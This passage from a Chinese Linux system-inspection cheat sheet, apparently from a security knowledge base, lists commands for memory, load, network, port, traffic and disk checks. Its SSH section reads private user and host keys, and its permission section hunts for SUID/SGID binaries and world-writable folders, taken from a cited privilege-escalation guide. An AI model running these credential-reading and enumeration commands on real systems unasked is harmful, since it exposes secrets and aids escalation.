活动的内存数量(使用 -a 选项) # Swap:交换分区 # si: 每秒从磁盘交换的内存数量 # so: 每秒交换到磁盘的内存数量 # IO:输入输出 # bi: 从一个块设备中收到的块(块/秒) # bo: 发送到一个块设备的块(块/秒) # System:系统 # in: 每秒的中断次数,包括时钟。 # cs: 每秒的上下文切换次数。 # CPU:下面这些是在总的 CPU 时间占的百分比 #us: 花费在非内核代码上的时间占比(包括用户时间,调度时间) #sy: 花费在内核代码上的时间占比 (系统时间) #id: 花费在闲置的时间占比。在 Linux 2.5.41 之前,包括 I/O 等待时间 #wa: 花费在 I/O 等待上的时间占比。在 Linux 2.5.41 之前,包括在空闲时间中 #st: 被虚拟机偷走的时间占比。在 Linux 2.6.11 之前,这部分称为 unknown ``` ```bash cat /proc/meminfo # meminfo 文件是一个包含了多种内存使用的实时信息的虚拟文件。 swapon -s # 查看 swap 交换分区的路径,大小 ``` --- ### 时间负载 ```bash uptime # 查看开机时间,系统用户数,平均负载 cat /proc/loadavg # 查看系统负载 w # 查看系统时间,负载,登入用户,用户使用资源情况 top # 总览系统全面信息,Ctrl + C 退出界面 ulimit # 显示系统资源限制的信息 ``` --- ### 网络 **网络接口** ```bash ifconfig -a tcpdump -D ip link show ip addr ip -s link ls /sys/class/net # 检验可用接口的列表 cat /proc/net/dev # 查看可用的网卡 netstat -i # 列出激活的接口 nmcli device status # 列出可以的网络接口 ``` **IP 地址** ```bash ifconfig # ifconfig 命令已经被弃用,不应该使用 /sbin/ifconfig -a ip a # 显示网络设备的运行状态 hostname -I netstat -a cat /proc/net/fib_trie cat /etc/sysconfig/network sudo -V ``` **端口** ```bash getent services # 查看所有服务的默认端口名称和端口号 ss -tnlp lsof -i netstat -antup netstat -anptl netstat -antpx netstat -tulpn sockstat # A Note About FreeBSD Users sockstat -l sockstat -4 -l sockstat -6 -l fuser -v 22/tcp ``` **实时流量** - 网卡流量 ```bash cat /proc/net/dev # 查看网络适配器及统计信息 watch -n 1 "ifconfig" ``` ```bash # sar 命令包含在 sysstat 工具包中,提供系统的众多统计数据。 yum install -y sysstat sar -n DEV 1 2 # 每一秒钟取1次值,取2次 # iftop 可以用来监控网卡的实时流量(可以指定网段)、反向解析IP、显示端口信息、TCP/IP 连接等 yum install -y iftop iftop # iptraf 一款交互式的IP局域网监控工具。可以显示每个连接以及主机之间传输的数据量。以生成各种网络统计数据。 yum install -y iptraf-ng iptraf-ng # 查看总带宽使用情况,可以分开来监控入站流量和出站流量。它还可以绘制图表以显示入站流量和出站流量,视图比例可以调整。 yum install -y nload nload ``` - 进程流量 ```bash # nethogs 用来按进程或程序实时统计网络带宽使用率,不依赖内核中的模块。可以显示每个进程所使用的带宽,并对列表排序,将耗用带宽最多的进程排在最上面。 yum install -y libpcap nethogs nethogs ``` **路由表** ```bash ip route # 显示核心路由表 route ip neigh # 显示邻居表 ``` **DNS** ```bash cat /etc/resolv.conf ``` **arp 条目** ```bash arp -e ``` **SSH key** ```bash cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key ``` **网速** 推荐使用 speedtest-cli 测试,安装指南见 [网络测试调试](./工具.md#网络测试调试) --- ### 硬盘文件系统 **What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID** ```bash find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null ``` **Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm** ```bash find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders ``` **测试硬盘读写速度** - dd ```bash # 使用 dd 测试写速度,千万有注意 of 后接的文件必须是一个不存在的文件,否则可能造成数据丢失! sync; dd if=/dev/zero of=/tmp/tempfile bs=1M count=1024; sync # 同样的道理,如果要测试一个外部存储,需要知道挂载点,然后用 dd 命令: sync; dd if=/dev/zero of=/media/user/MyUSB/tempfile bs=1M count=1024; sync # 使用 dd 测试读取速度,注意这里的 if 后需要接上一个命令生成的文件 dd if=/tmp/tempfile of=/dev/null bs=1M count=1024 /sbin/sysctl -w vm.drop_caches=3 # 清除 cache dd if=/tmp/tempfile of=/dev/null bs=1M count=1024 ``` - hdparm ```bash apt install hdparm # 用 lsblk 或者 fdisk -l 来查看设备信息 hdparm -Tt /dev/sda ``` --- ### Source & Reference * [Linux 常用配置及硬件检测命令](https://www.oldking.net/893.html) * [basic-linux-privilege-escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) * [在 Linux 上测试硬盘读写速度](http://einverne.github.io/post/2019/10/test-disk-write-and-read-speed-in-linux.html) * [linux网络流量查看命令](https://blog.51cto.com/ityunwei2017/2158128)
sec-knowleage